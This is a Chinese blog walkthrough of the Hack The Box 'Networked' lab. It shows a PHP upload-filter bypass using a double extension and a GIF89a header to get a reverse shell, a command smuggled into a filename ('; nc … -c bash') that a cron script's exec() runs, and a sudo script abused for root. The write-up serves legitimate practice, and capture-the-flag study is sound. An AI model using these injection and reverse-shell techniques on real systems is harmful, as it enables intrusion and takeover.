【Hack The Box】linux练习-- Networked
🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https
先开始目录爆破
得到
backup
/upload.php
进去backup之后有一个bachup.tar
下载下来
发现里面是各种php文件,里面有着php的上传运行逻辑
我们可以使用php -a模拟运行一下

不过我觉得这种方法其实不太高效,我们可以不断尝试,因为都会有上传失败提醒
php > $filename="image.png";
php > $pieces = explode('.',$filename); print_r($pieces);
Array
([0] => image[1] => png
)
php > $name= array_shift($pieces); echo $name;
image
php > $name = str_replace('_','.',$name); echo $name;
image
php > $ext = implode('.',$pieces); echo $ext;
pngphp > $filename="image.php.png";
php > $pieces = explode('.',$filename); print_r($pieces);
Array
([0] => image[1] => php[2] => png
)
php > $name= array_shift($pieces); echo $name;
image
php > $name = str_replace('_','.',$name); echo $name;
image
php > $ext = implode('.',$pieces); echo $ext;
php.png
这样可以验证我们通过了用户名验证
即使用了双后缀绕过的方法
所以我们只需要做一个shell.php变成shell.php.png即可

但是没成功
这里不知道原因,我觉得应该是靶场的问题
GIF89a
在我们的php文件头加上一个jpeg识别头部
就可以上传成功,而后去/upload.php 点击我们上传的php即可反弹shell
先查看自己周边环境
bash-4.2$ ls -l
total 12
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
发现就在自己文件夹中就有可以文件,cron是计划任务
crontab.guly显示将运行的配置 php /home/guly/check_attack.php每 3 分钟:
$value) {$msg='';if ($value == 'index.html') {continue;}#echo "-------------\n";#print "check: $value\n";list ($name,$ext) = getnameCheck($value);$check = check_ip($name,$value);if (!($check[0])) {echo "attack!\n";# todo: attach filefile_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);exec("rm -f $logpath");exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");echo "rm -f $path$value\n";mail($to, $msg, $msg, $headers, "-F$value");}
}?>
别的先不看,就看exec命令执行函数
里面引入了变量,所以我们只需要让path指向我们的恶意payload即可
$path = ‘/var/www/html/uploads/’;是已知的,所以我们只要创建一个名称是“;”
的文件然后里面放入bash命令,我们就可以执行命令
touch '; nc 10.10.xx.xx 1338 -c bash'
再等了一会之后,我们得到了 shell guly:
为 guly我检查了 sudo -l并发现 guly能跑 /usr/local/sbin/changename.sh作为没有密码的 root 用户:
[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",secure_path=/sbin\:/bin\:/usr/sbin\:/usr/binUser guly may run the following commands on networked:(root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked ~]$
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
我将在第一个选项输入bash
这种带选项的高权限一般可以这么搞
或者直接命令执行
下一篇:坤字开头的四字成语